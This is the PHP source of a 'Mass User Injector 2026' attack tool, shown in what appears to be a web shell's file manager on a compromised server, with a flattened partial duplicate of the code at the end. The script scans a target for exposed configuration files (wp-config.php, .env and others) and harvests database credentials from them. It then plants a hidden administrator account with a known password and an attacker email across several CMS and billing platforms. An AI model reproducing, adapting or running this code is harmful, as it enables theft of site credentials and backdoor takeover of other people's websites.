FM / usr

/home/techb158/public_html/systemd/mail/auto/usr/

/home/techb158/public_html/systemd/mail/auto/usr

Name	Size	Mode	Actions
user_inj_26.php	28396	0644	edit dl rm

Edit: /home/techb158/public_html/systemd/mail/auto/usr/user_inj_26.php (28396B)

<?php
declare(strict_types=1);
error_reporting(0);
@ini_set('display_errors', '0');
@set_time_limit(0);
@ini_set('max_execution_time', '0');
@ini_set('memory_limit', '-1');

$self = htmlspecialchars($_SERVER['PHP_SELF'] ?? 'index.php', ENT_QUOTES, 'UTF-8');

const INJ_LOGIN = 'sysupdate';
const INJ_PASS  = '123456';
const INJ_MAIL  = 'andrewpc80@hotmail.com';
const INJ_ID    = 1971;
const INJ_MD5   = 'e10adc3949ba59abbe56e057f20f883e';
const INJ_SHA1  = '7c4a8d09ca3762af61e59520943dc26494f8941b';
const INJ_BCRYPT = '$2y$10$qLUrv.e9Z1RlhOaK2qBqAuc2CV92jAJI.CQ.WnSxwpUc5TsYIlxAe';
const INJ_M2    = '40cf55fb09a1ece31b7a4cbbbdf7fd7a1407948a58bd182f8a52065c2842945c:331598db66ccab064b37d8050b40cede:2';
const INJ_OC_SALT = 'ab';
const INJ_OC_HASH = 'c0f04eb4485f6fb78180e7b6edf68c0dcbb0d274';

function h(string $s): string {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

function local_read(string $path): string {
    $path = trim($path);
    if ($path === '' || !is_readable($path)) return '';
    $raw = @file_get_contents($path);
    return is_string($raw) ? $raw : '';
}

function fetch_blob(string $src): string {
    $src = trim($src);
    if ($src === '') return '';
    if (preg_match('#^https?://#i', $src) || str_contains($src, '.')) {
        $b = get_contents($src);
        if ($b !== '') return $b;
    }
    return local_read($src);
}

/** @return list<string> */
function collect_candidate_urls(string $base): array {
    $out = [];
    $base = rtrim(trim($base), '/');
    if ($base === '') return $out;
    $seen = [];
    $push = static function (string $u) use (&$out, &$seen): void {
        $u = trim($u);
        if ($u === '' || isset($seen[$u])) return;
        $seen[$u] = true;
        $out[] = $u;
    };
    $push($base);
    $listing = get_contents($base);
    if ($listing !== '' && preg_match_all('#href=["\']([^"\']+)#i', $listing, $m)) {
        foreach ($m[1] as $href) {
            $href = html_entity_decode((string)$href, ENT_QUOTES, 'UTF-8');
            if ($href === '' || str_starts_with($href, '#') || str_starts_with(strtolower($href), 'javascript:')) continue;
            if (preg_match('#^https?://#i', $href)) {
                $push($href);
            } else {
                $push($base . '/' . ltrim($href, '/'));
            }
        }
    }
    $needles = [
        'wp-config.php', 'wp-config.php.bak', 'wp-config.php.old', 'wp-config.php.save',
        'wp-config.php.txt', 'wp-config.bak', 'configuration.php', 'configuration.php.bak',
        'configuration.php.old', 'configuration.php.txt', 'app/etc/env.php', 'app/etc/local.xml',
        'app/etc/env.php.bak', 'config/app.php', 'config/database.php', '.env', '.env.bak',
        '.env.local', '.env.production', '.env.example', 'includes/config.php',
        'includes/configure.php', 'admin/includes/configure.php', 'admin/config.php',
        'config.php', 'config.inc.php', 'settings.php', 'sites/default/settings.php',
        'whmcs/configuration.php', 'store/includes/configure.php', 'catalog/includes/configure.php',
    ];
    foreach ($needles as $n) {
        $push($base . '/' . $n);
    }
    return $out;
}

function unquote(string $s): string {
    $s = trim($s);
    $s = trim($s, " \t\"'`");
    return stripslashes($s);
}

/** @return list<array{host:string,user:string,pass:string,name:string,port:int,engine:string}> */
function parse_creds(string $blob): array {
    $found = [];
    $add = static function (string $host, string $user, string $pass, string $name, int $port = 3306, string $engine = '') use (&$found): void {
        $host = unquote($host);
        $user = unquote($user);
        $pass = unquote($pass);
        $name = unquote($name);
        if ($host === '') $host = 'localhost';
        if ($user === '' || $name === '') return;
        $key = strtolower($host . '|' . $user . '|' . $name . '|' . $port);
        foreach ($found as $row) {
            if (strtolower($row['host'] . '|' . $row['user'] . '|' . $row['name'] . '|' . $row['port']) === $key) {
                return;
            }
        }
        $found[] = [
            'host' => $host,
            'user' => $user,
            'pass' => $pass,
            'name' => $name,
            'port' => $port > 0 ? $port : 3306,
            'engine' => $engine,
        ];
    };

if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $h)
        && preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $u)
        && preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $p)
        && preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $n)
    ) {
        $add($h[1], $u[1], $p[1], $n[1], 3306, 'wordpress');
    }
    if (preg_match('/(?:public|var)\s+\$host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h)
        && preg_match('/(?:public|var)\s+\$user\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u)
        && preg_match('/(?:public|var)\s+\$password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p)
        && preg_match('/(?:public|var)\s+\$db\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n)
    ) {
        $add($h[1], $u[1], $p[1], $n[1], 3306, 'joomla');
    }
    if (preg_match("/'dbname'\s*=>\s*'([^']+)'/i", $blob, $n)
        && preg_match("/'username'\s*=>\s*'([^']+)'/i", $blob, $u)
        && preg_match("/'password'\s*=>\s*'([^']*)'/i", $blob, $p)
    ) {
        $host = 'localhost';
        if (preg_match("/'host'\s*=>\s*'([^']+)'/i", $blob, $hh)) $host = $hh[1];
        $port = 3306;
        if (preg_match("/'port'\s*=>\s*'?(\d+)'?/i", $blob, $po)) $port = (int)$po[1];
        $add($host, $u[1], $p[1], $n[1], $port, 'magento2');
    }
    if (preg_match('/^DB_DATABASE\s*=\s*(.+)$/m', $blob, $n)
        && preg_match('/^DB_USERNAME\s*=\s*(.+)$/m', $blob, $u)
    ) {
        $host = 'localhost';
        $pass = '';
        $port = 3306;
        if (preg_match('/^DB_HOST\s*=\s*(.+)$/m', $blob, $hh)) $host = trim($hh[1]);
        if (preg_match('/^DB_PASSWORD\s*=\s*(.*)$/m', $blob, $p)) $pass = trim($p[1]);
        if (preg_match('/^DB_PORT\s*=\s*(\d+)/m', $blob, $po)) $port = (int)$po[1];
        $add($host, trim($u[1]), $pass, trim($n[1]), $port, 'laravel');
    }
    if (preg_match('/\$db_host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h)
        && preg_match('/\$db_username\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u)
        && preg_match('/\$db_password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p)
        && preg_match('/\$db_name\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n)
    ) {
        $add($h[1], $u[1], $p[1], $n[1], 3306, 'whmcs');
    }
    $pairs = [
        'DB_SERVER' => 'host', 'DB_HOSTNAME' => 'host', 'DB_HOST' => 'host',
        'DB_SERVER_USERNAME' => 'user', 'DB_USERNAME' => 'user', 'DB_USER' => 'user',
        'DB_SERVER_PASSWORD' => 'pass', 'DB_PASSWORD' => 'pass', 'DB_PASS' => 'pass',
        'DB_DATABASE' => 'name', 'DB_NAME' => 'name',
    ];
    $bucket = ['host' => '', 'user' => '', 'pass' => '', 'name' => ''];
    foreach ($pairs as $key => $slot) {
        if (preg_match('/(?:define\s*\(\s*[\'"]' . preg_quote($key, '/') . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]|(?:[\'"]' . preg_quote($key, '/') . '[\'"]|\$' . preg_quote($key, '/') . ')\s*=>?\s*[\'"]([^\'"]*)[\'"])/i', $blob, $mm)) {
            $val = ($mm[1] ?? '') !== '' ? $mm[1] : ($mm[2] ?? '');
            if ($val !== '') $bucket[$slot] = $val;
        }
    }
    if ($bucket['user'] !== '' && $bucket['name'] !== '') {
        $add($bucket['host'] !== '' ? $bucket['host'] : 'localhost', $bucket['user'], $bucket['pass'], $bucket['name'], 3306, 'generic');
    }
    return $found;
}

function qident(string $s): string {
    return '`' . str_replace('`', '``', $s) . '`';
}

/** @return list<string> */
function wp_prefixes(mysqli $db): array {
    $out = [];
    $sql = "SELECT DISTINCT SUBSTRING(TABLE_NAME, 1, LENGTH(TABLE_NAME)-8) AS p
            FROM information_schema.TABLES
            WHERE TABLE_SCHEMA = DATABASE()
              AND TABLE_NAME LIKE '%users'
              AND TABLE_NAME NOT LIKE '%usermeta'";
    if ($r = @$db->query($sql)) {
        while ($row = $r->fetch_assoc()) {
            $p = (string)($row['p'] ?? '');
            if ($p === '') continue;
            $check = @$db->query('SHOW TABLES LIKE ' . "'" . $db->real_escape_string($p . 'usermeta') . "'");
            if ($check && $check->num_rows > 0) $out[] = $p;
            if ($check) $check->free();
        }
        $r->free();
    }
    $sql2 = "SELECT DISTINCT SUBSTRING(TABLE_NAME, 1, LENGTH(TABLE_NAME)-8) AS p
             FROM information_schema.TABLES
             WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME LIKE '%postmeta'";
    if ($r = @$db->query($sql2)) {
        while ($row = $r->fetch_assoc()) {
            $p = (string)($row['p'] ?? '');
            if ($p !== '' && !in_array($p, $out, true)) {
                $check = @$db->query('SHOW TABLES LIKE ' . "'" . $db->real_escape_string($p . 'users') . "'");
                if ($check && $check->num_rows > 0) $out[] = $p;
                if ($check) $check->free();
            }
        }
        $r->free();
    }
    return $out;
}

function wp_inject(mysqli $db, string $prefix): array {
    $users = qident($prefix . 'users');
    $meta  = qident($prefix . 'usermeta');
    $login = INJ_LOGIN;
    $mail  = INJ_MAIL;
    $hash  = INJ_MD5;
    $id    = INJ_ID;
    $capv  = 'a:1:{s:13:"administrator";b:1;}';
    $capk  = $prefix . 'capabilities';
    $lvlk  = $prefix . 'user_level';

$escL = $db->real_escape_string($login);
    $exist = @$db->query("SELECT ID FROM {$users} WHERE user_login='{$escL}' LIMIT 1");
    $uid = 0;
    if ($exist && ($row = $exist->fetch_assoc())) {
        $uid = (int)$row['ID'];
        $exist->free();
        @$db->query("UPDATE {$users} SET user_pass='{$hash}', user_email='".$db->real_escape_string($mail)."', user_status=0 WHERE ID={$uid}");
    } else {
        if ($exist) $exist->free();
        $taken = @$db->query("SELECT ID FROM {$users} WHERE ID={$id} LIMIT 1");
        if ($taken && $taken->num_rows > 0) {
            $taken->free();
            $ok = @$db->query("INSERT INTO {$users} (user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name) VALUES ('{$escL}','{$hash}','sysupdate','".$db->real_escape_string($mail)."','',NOW(),'',0,'Sysupdate')");
            $uid = $ok ? (int)$db->insert_id : 0;
        } else {
            if ($taken) $taken->free();
            $ok = @$db->query("INSERT INTO {$users} (ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name) VALUES ({$id},'{$escL}','{$hash}','sysupdate','".$db->real_escape_string($mail)."','',NOW(),'',0,'Sysupdate')");
            $uid = $ok ? $id : 0;
        }
    }
    if ($uid < 1) {
        return ['ok' => false, 'uid' => 0, 'err' => $db->error];
    }
    @$db->query("DELETE FROM {$meta} WHERE user_id={$uid} AND meta_key IN ('".$db->real_escape_string($capk)."','".$db->real_escape_string($lvlk)."')");
    @$db->query("INSERT INTO {$meta} (user_id,meta_key,meta_value) VALUES ({$uid},'".$db->real_escape_string($capk)."','".$db->real_escape_string($capv)."')");
    @$db->query("INSERT INTO {$meta} (user_id,meta_key,meta_value) VALUES ({$uid},'".$db->real_escape_string($lvlk)."','10')");
    return ['ok' => true, 'uid' => $uid, 'err' => ''];
}

function table_exists(mysqli $db, string $name): bool {
    $esc = $db->real_escape_string($name);
    $r = @$db->query("SHOW TABLES LIKE '{$esc}'");
    $ok = $r && $r->num_rows > 0;
    if ($r) $r->free();
    return $ok;
}

/** @return list<string> */
function tables_like(mysqli $db, string $like): array {
    $out = [];
    $esc = $db->real_escape_string($like);
    $r = @$db->query("SHOW TABLES LIKE '{$esc}'");
    if (!$r) return $out;
    while ($row = $r->fetch_row()) {
        if (!empty($row[0])) $out[] = (string)$row[0];
    }
    $r->free();
    return $out;
}

function bcrypt(string $p): string {
    return INJ_BCRYPT;
}

/** @return list<array{cms:string,line:string,ok:bool,err:string}> */
function inject_all(mysqli $db): array {
    $out = [];
    $login = INJ_LOGIN;
    $pass  = INJ_PASS;
    $mail  = INJ_MAIL;
    $el = $db->real_escape_string($login);
    $em = $db->real_escape_string($mail);
    $bc = $db->real_escape_string(bcrypt($pass));
    $md = md5($pass);

foreach (wp_prefixes($db) as $prefix) {
        $inj = wp_inject($db, $prefix);
        $urlSite = siteurl($db, $prefix);
        $loginUrl = $urlSite !== '' ? $urlSite . '/wp-login.php' : 'wp-login.php';
        $out[] = [
            'cms' => 'wordpress',
            'line' => $inj['ok'] ? ($loginUrl . '#' . $login . '@' . $pass) : '',
            'ok' => $inj['ok'],
            'err' => $inj['ok'] ? '' : ('wp ' . $prefix . ' ' . $inj['err']),
        ];
    }

foreach (tables_like($db, '%users') as $t) {
        if (str_ends_with($t, 'usermeta') || str_ends_with($t, 'users_field_data')) continue;
        $cols = [];
        $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t));
        if (!$cr) continue;
        while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field'];
        $cr->free();
        $hasUser = isset($cols['username']) && isset($cols['password']) && isset($cols['email']);
        $hasBlock = isset($cols['block']);
        if (!$hasUser || !$hasBlock) continue;
        $mapGuess = [];
        if (str_ends_with($t, 'users')) {
            $pref = substr($t, 0, -5);
            $cand = $pref . 'user_usergroup_map';
            if (table_exists($db, $cand)) $mapGuess[] = $cand;
        }
        $ex = @$db->query('SELECT id FROM ' . qident($t) . " WHERE username='{$el}' LIMIT 1");
        $uid = 0;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['id'];
            $ex->free();
            @$db->query('UPDATE ' . qident($t) . " SET password='{$bc}', email='{$em}', block=0 WHERE id={$uid}");
        } else {
            if ($ex) $ex->free();
            $ok = @$db->query('INSERT INTO ' . qident($t) . " (name,username,email,password,block,sendEmail,registerDate,params) VALUES ('Sysupdate','{$el}','{$em}','{$bc}',0,0,NOW(),'{}')");
            $uid = $ok ? (int)$db->insert_id : 0;
        }
        if ($uid > 0) {
            foreach ($mapGuess as $mt) {
                @$db->query('DELETE FROM ' . qident($mt) . " WHERE user_id={$uid}");
                @$db->query('INSERT INTO ' . qident($mt) . " (user_id,group_id) VALUES ({$uid},8)");
            }
            $out[] = ['cms' => 'joomla', 'line' => 'administrator/index.php#' . $login . '@' . $pass, 'ok' => true, 'err' => ''];
        } else {
            $out[] = ['cms' => 'joomla', 'line' => '', 'ok' => false, 'err' => $db->error];
        }
    }

foreach (tables_like($db, '%user') as $t) {
        if (!preg_match('/user$/', $t)) continue;
        $cols = [];
        $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t));
        if (!$cr) continue;
        while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field'];
        $cr->free();
        if (!isset($cols['username'], $cols['password'], $cols['user_group_id'])) continue;
        $ex = @$db->query('SELECT user_id FROM ' . qident($t) . " WHERE username='{$el}' LIMIT 1");
        $uid = 0;
        $salt = INJ_OC_SALT;
        $ocHash = INJ_OC_HASH;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['user_id'];
            $ex->free();
            $sql = 'UPDATE ' . qident($t) . " SET password='{$bc}', email='{$em}', status=1, user_group_id=1 WHERE user_id={$uid}";
            if (isset($cols['salt'])) $sql = 'UPDATE ' . qident($t) . " SET password='{$ocHash}', salt='".$db->real_escape_string($salt)."', email='{$em}', status=1, user_group_id=1 WHERE user_id={$uid}";
            @$db->query($sql);
        } else {
            if ($ex) $ex->free();
            if (isset($cols['salt'])) {
                $ok = @$db->query('INSERT INTO ' . qident($t) . " (user_group_id,username,password,salt,firstname,lastname,email,status,date_added) VALUES (1,'{$el}','{$ocHash}','".$db->real_escape_string($salt)."','Sys','Update','{$em}',1,NOW())");
            } else {
                $ok = @$db->query('INSERT INTO ' . qident($t) . " (user_group_id,username,password,firstname,lastname,email,status,date_added) VALUES (1,'{$el}','{$bc}','Sys','Update','{$em}',1,NOW())");
            }
            $uid = $ok ? (int)$db->insert_id : 0;
        }
        if ($uid > 0) {
            $out[] = ['cms' => 'opencart', 'line' => 'admin/#' . $login . '@' . $pass, 'ok' => true, 'err' => ''];
        }
    }

if (table_exists($db, 'tbladmins')) {
        $ex = @$db->query("SELECT id FROM tbladmins WHERE username='{$el}' LIMIT 1");
        $uid = 0;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['id'];
            $ex->free();
            @$db->query("UPDATE tbladmins SET password='{$bc}', email='{$em}', disabled=0, roleid=1 WHERE id={$uid}");
        } else {
            if ($ex) $ex->free();
            $ok = @$db->query("INSERT INTO tbladmins (roleid,username,password,firstname,lastname,email,signature,disabled,loginattempts,supportdepts,ticketnotifications,updated_at) VALUES (1,'{$el}','{$bc}','Sys','Update','{$em}','',0,0,'','',NOW())");
            if (!$ok) {
                $ok = @$db->query("INSERT INTO tbladmins (roleid,username,password,firstname,lastname,email,disabled) VALUES (1,'{$el}','{$md}','Sys','Update','{$em}',0)");
            }
            $uid = $ok ? (int)$db->insert_id : 0;
        }
        $out[] = [
            'cms' => 'whmcs',
            'line' => $uid > 0 ? ('admin/login.php#' . $login . '@' . $pass) : '',
            'ok' => $uid > 0,
            'err' => $uid > 0 ? '' : $db->error,
        ];
    }

foreach (tables_like($db, '%employee') as $t) {
        $cols = [];
        $cr = @$db->query('SHOW COLUMNS FROM ' . qident($t));
        if (!$cr) continue;
        while ($c = $cr->fetch_assoc()) $cols[strtolower((string)$c['Field'])] = (string)$c['Field'];
        $cr->free();
        if (!isset($cols['email'], $cols['passwd'])) continue;
        $ex = @$db->query('SELECT id_employee FROM ' . qident($t) . " WHERE email='{$em}' LIMIT 1");
        $uid = 0;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['id_employee'];
            $ex->free();
            @$db->query('UPDATE ' . qident($t) . " SET passwd='{$bc}', active=1, id_profile=1 WHERE id_employee={$uid}");
        } else {
            if ($ex) $ex->free();
            $ok = @$db->query('INSERT INTO ' . qident($t) . " (id_profile,id_lang,lastname,firstname,email,passwd,active) VALUES (1,1,'Update','Sys','{$em}','{$bc}',1)");
            $uid = $ok ? (int)$db->insert_id : 0;
        }
        if ($uid > 0) {
            $out[] = ['cms' => 'prestashop', 'line' => 'admin/#' . $mail . '@' . $pass, 'ok' => true, 'err' => ''];
        }
    }

if (table_exists($db, 'admin_user')) {
        $hash = $db->real_escape_string(INJ_M2);
        $ex = @$db->query("SELECT user_id FROM admin_user WHERE username='{$el}' LIMIT 1");
        $uid = 0;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['user_id'];
            $ex->free();
            @$db->query("UPDATE admin_user SET password='{$hash}', email='{$em}', is_active=1 WHERE user_id={$uid}");
        } else {
            if ($ex) $ex->free();
            $ok = @$db->query("INSERT INTO admin_user (firstname,lastname,email,username,password,created,modified,is_active) VALUES ('Sys','Update','{$em}','{$el}','{$hash}',NOW(),NOW(),1)");
            $uid = $ok ? (int)$db->insert_id : 0;
        }
        if ($uid > 0) {
            $out[] = ['cms' => 'magento', 'line' => 'admin/#' . $login . '@' . $pass, 'ok' => true, 'err' => ''];
        }
    }

if (table_exists($db, 'users_field_data') && table_exists($db, 'users')) {
        $ex = @$db->query("SELECT uid FROM users_field_data WHERE name='{$el}' LIMIT 1");
        $uid = 0;
        if ($ex && ($row = $ex->fetch_assoc())) {
            $uid = (int)$row['uid'];
            $ex->free();
            @$db->query("UPDATE users_field_data SET pass='{$bc}', mail='{$em}', status=1 WHERE uid={$uid}");
        } else {
            if ($ex) $ex->free();
            @$db->query("INSERT INTO users (uuid,langcode) VALUES (UUID(),'en')");
            $uid = (int)$db->insert_id;
            if ($uid > 0) {
                @$db->query("INSERT INTO users_field_data (uid,langcode,preferred_langcode,name,pass,mail,status,created,changed) VALUES ({$uid},'en','en','{$el}','{$bc}','{$em}',1,UNIX_TIMESTAMP(),UNIX_TIMESTAMP())");
            }
        }
        if ($uid > 0 && table_exists($db, 'user__roles')) {
            @$db->query("INSERT IGNORE INTO user__roles (bundle,deleted,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',0,{$uid},{$uid},'en',0,'administrator')");
        }
        if ($uid > 0) {
            $out[] = ['cms' => 'drupal', 'line' => 'user/login#' . $login . '@' . $pass, 'ok' => true, 'err' => ''];
        }
    }

return $out;
}

$posted = isset($_POST['ch']);
$configIn = isset($_POST['config']) ? trim((string)$_POST['config']) : '';
$parsed = [];
$hits = [];
$notes = [];
$lines = [];

if ($posted && $configIn !== '') {
    $targets = collect_candidate_urls($configIn);
    $notes[] = 'scanned ' . count($targets) . ' paths';
    $fetched = 0;
    $tried = [];
    foreach ($targets as $url) {
        $blob = fetch_blob($url);
        if ($blob === '' || strlen($blob) < 12) continue;
        $fetched++;
        foreach (parse_creds($blob) as $c) {
            $c['src'] = $url;
            $sig = strtolower($c['host'] . '|' . $c['user'] . '|' . $c['name'] . '|' . $c['pass']);
            if (isset($tried[$sig])) continue;
            $tried[$sig] = true;
            $parsed[] = $c;
            $db = try_connect($c);
            if (!$db) {
                $notes[] = 'NO CONNECT ' . $c['engine'] . ' user=' . $c['user'] . ' pass=' . $c['pass'] . ' host=' . $c['host'] . ' db=' . $c['name'];
                continue;
            }
            $hits[] = $c;
            $results = inject_all($db);
            $db->close();
            if (!$results) {
                $notes[] = 'CONNECTED ' . $c['name'] . ' — no known cms user tables';
                continue;
            }
            foreach ($results as $row) {
                if ($row['ok'] && $row['line'] !== '') {
                    $lines[] = '[' . $row['cms'] . '] ' . $row['line'];
                } elseif ($row['err'] !== '') {
                    $notes[] = $row['cms'] . ' fail: ' . $row['err'];
                }
            }
        }
    }
    $notes[] = 'fetched ' . $fetched . ' bodies';
    $notes[] = 'parsed ' . count($parsed) . ' credential sets';
}
?>
<html>
<head>
	<title>Mass User Injector 2026</title>
<style type="text/css">
@import 'https://fonts.googleapis.com/css?family=Iceland';
html,body{
	background: black;
	padding: 0;
	direction: ltr;
	margin: 0;
}
#gter{
	position: absolute;
	top: 0;
	width: 100%;
	text-align: center;
	background: black;
	color:#fff;
	padding-top: 10px;
	padding-bottom: 10px;
	font-family: Iceland;
	margin-bottom:20px;
}
#gter span{
	color:white;
	font-size: 18px;
	text-shadow: 0px 0px 15px #00ffff;
}
.f{
	color:white;
	font-family: Iceland;
	text-shadow: 0 0 15px #00ffff;
	font-size: 21px;
}
.y{
	color:yellow;
	font-family: Iceland;
	text-shadow: 0 0 15px #00ffff;
	font-size: 25px;
}
.n{
	color:#888;
	font-family: Iceland;
	font-size: 14px;
}
a{
	font-family: Iceland;
	text-decoration: none;
	color:white;
	text-shadow:0 0 15px #00ff00;
}
form{
	margin-top: 120px;
}
input[type=submit]{
	font-size:20px;
	height: 30px;
	width: 165px;
	border: 2px solid red;
	color: yellow;
	background-color: black;
	font-family: Iceland;
}
input[type=submit]:hover{
	box-shadow: 0 0 2px #ff0000;
}
input[type=text]{
	font-family:Iceland;
	width: 450px;
	height: 30px;
	color: red;
	background: #000000;
	border: 1px solid #00ff00;
	padding: 5px;
	text-align: center;
	font-size:20px;
}
input[type=text]:focus{
	box-shadow: 0 0 3px #ff0000;
}
.heading{
	color:white;
	font-size:50px;
	margin-top: 60px;
	margin-bottom: -110px;
	font-family:Iceland;
	text-shadow:0px 0px 20px red;
}
</style>
</head>
<body>
<center>
<div id="gter"><span>Copyright © 2026 Coded by ZeuxHaxor — WP / Joomla / OpenCart / Presta / WHMCS / Magento / Drupal</span></div>
<center><p class="heading">Mass User Injector 2026 FIXED SSL</p></center>
<br /><br />
<form method="post" action="<?php echo $self; ?>">
<input type="text" name="config" placeholder="Config URL Here" value="<?php echo h($configIn); ?>">
<br><br>
<input type="submit" name="ch" value="ADD Admin">
</form>
</center>
<?php
if ($posted) {
    if ($parsed) {
        echo '<center><span class="y">FOUND ' . count($parsed) . ' CRED SET(S) FROM URL<br></span></center>';
        foreach ($parsed as $c) {
            echo '<center><span class="f">[' . h($c['engine']) . '] src=' . h((string)($c['src'] ?? '')) . '<br></span></center>';
            echo '<center><span class="f">host=' . h($c['host']) . ' user=' . h($c['user']) . ' pass=' . h($c['pass']) . ' db=' . h($c['name']) . '<br></span></center>';
        }
    } else {
        echo '<center><span class="y">No database credentials parsed from that source<br></span></center>';
    }
    if ($hits) {
        foreach ($hits as $c) {
            echo '<center><span class="y">CONNECTED ' . h($c['engine']) . ' USERNAME &gt;&gt; ' . h($c['user']) . ' @ ' . h($c['host']) . ' / ' . h($c['name']) . '<br></span></center>';
        }
    } elseif ($parsed) {
        echo '<center><span class="y">CREDENTIALS FOUND — MySQL connect failed<br></span></center>';
    }
    foreach ($lines as $ln) {
        $parts = explode('#', $ln, 2);
        $href = $parts[0];
        echo '<center><span class="f"><a href="' . h($href) . '" target="_blank">' . h($ln) . '</a><br></span></center>';
    }
    foreach ($notes as $n) {
        echo '<center><span class="n">' . h($n) . '</span></center>';
    }
}
?>
</body>
</html>

[ 'timeout' => 18, 'ignore_errors' => true, 'follow_location' => 1, 'header' => "User-Agent: Mozilla/5.0\r\nAccept: */*\r\n", ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true, ], ]); $raw = @file_get_contents($url, false, $ctx); if (is_string($raw) && $raw !== '') return $raw; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 18, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $raw = curl_exec($ch); curl_close($ch); if (is_string($raw) && $raw !== '') return $raw; } return ''; } function local_read(string $path): string { $path = trim($path); if ($path === '' || !is_readable($path)) return ''; $raw = @file_get_contents($path); return is_string($raw) ? $raw : ''; } function fetch_blob(string $src): string { $src = trim($src); if ($src === '') return ''; if (preg_match('#^https?://#i', $src) || str_contains($src, '.')) { $b = get_contents($src); if ($b !== '') return $b; } return local_read($src); } /** @return list */ function collect_candidate_urls(string $base): array { $out = []; $base = rtrim(trim($base), '/'); if ($base === '') return $out; $seen = []; $push = static function (string $u) use (&$out, &$seen): void { $u = trim($u); if ($u === '' || isset($seen[$u])) return; $seen[$u] = true; $out[] = $u; }; $push($base); $listing = get_contents($base); if ($listing !== '' && preg_match_all('#href=["\']([^"\']+)#i', $listing, $m)) { foreach ($m[1] as $href) { $href = html_entity_decode((string)$href, ENT_QUOTES, 'UTF-8'); if ($href === '' || str_starts_with($href, '#') || str_starts_with(strtolower($href), 'javascript:')) continue; if (preg_match('#^https?://#i', $href)) { $push($href); } else { $push($base . '/' . ltrim($href, '/')); } } } $needles = [ 'wp-config.php', 'wp-config.php.bak', 'wp-config.php.old', 'wp-config.php.save', 'wp-config.php.txt', 'wp-config.bak', 'configuration.php', 'configuration.php.bak', 'configuration.php.old', 'configuration.php.txt', 'app/etc/env.php', 'app/etc/local.xml', 'app/etc/env.php.bak', 'config/app.php', 'config/database.php', '.env', '.env.bak', '.env.local', '.env.production', '.env.example', 'includes/config.php', 'includes/configure.php', 'admin/includes/configure.php', 'admin/config.php', 'config.php', 'config.inc.php', 'settings.php', 'sites/default/settings.php', 'whmcs/configuration.php', 'store/includes/configure.php', 'catalog/includes/configure.php', ]; foreach ($needles as $n) { $push($base . '/' . $n); } return $out; } function unquote(string $s): string { $s = trim($s); $s = trim($s, " \t\"'`"); return stripslashes($s); } /** @return list */ function parse_creds(string $blob): array { $found = []; $add = static function (string $host, string $user, string $pass, string $name, int $port = 3306, string $engine = '') use (&$found): void { $host = unquote($host); $user = unquote($user); $pass = unquote($pass); $name = unquote($name); if ($host === '') $host = 'localhost'; if ($user === '' || $name === '') return; $key = strtolower($host . '|' . $user . '|' . $name . '|' . $port); foreach ($found as $row) { if (strtolower($row['host'] . '|' . $row['user'] . '|' . $row['name'] . '|' . $row['port']) === $key) { return; } } $found[] = [ 'host' => $host, 'user' => $user, 'pass' => $pass, 'name' => $name, 'port' => $port > 0 ? $port : 3306, 'engine' => $engine, ]; }; if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $h) && preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $u) && preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $p) && preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]*)['\"]/i", $blob, $n) ) { $add($h[1], $u[1], $p[1], $n[1], 3306, 'wordpress'); } if (preg_match('/(?:public|var)\s+\$host\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $h) && preg_match('/(?:public|var)\s+\$user\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $u) && preg_match('/(?:public|var)\s+\$password\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $p) && preg_match('/(?:public|var)\s+\$db\s*=\s*[\'"]([^\'"]*)[\'"]/i', $blob, $n) ) { $add($h[1], $u[1], $p[1], $n[1], 3306, 'joomla'); } if (preg_match("/'dbname'\s*=>\s*'([^']+)'/i", $blob, $n) && preg_match("/'username'\s*=>\s*'([^']+)'/i", $blob, $u) && preg_match("/'password'\s*=>\s*'([^']*)'/i", $blob, $p) ) { $host = 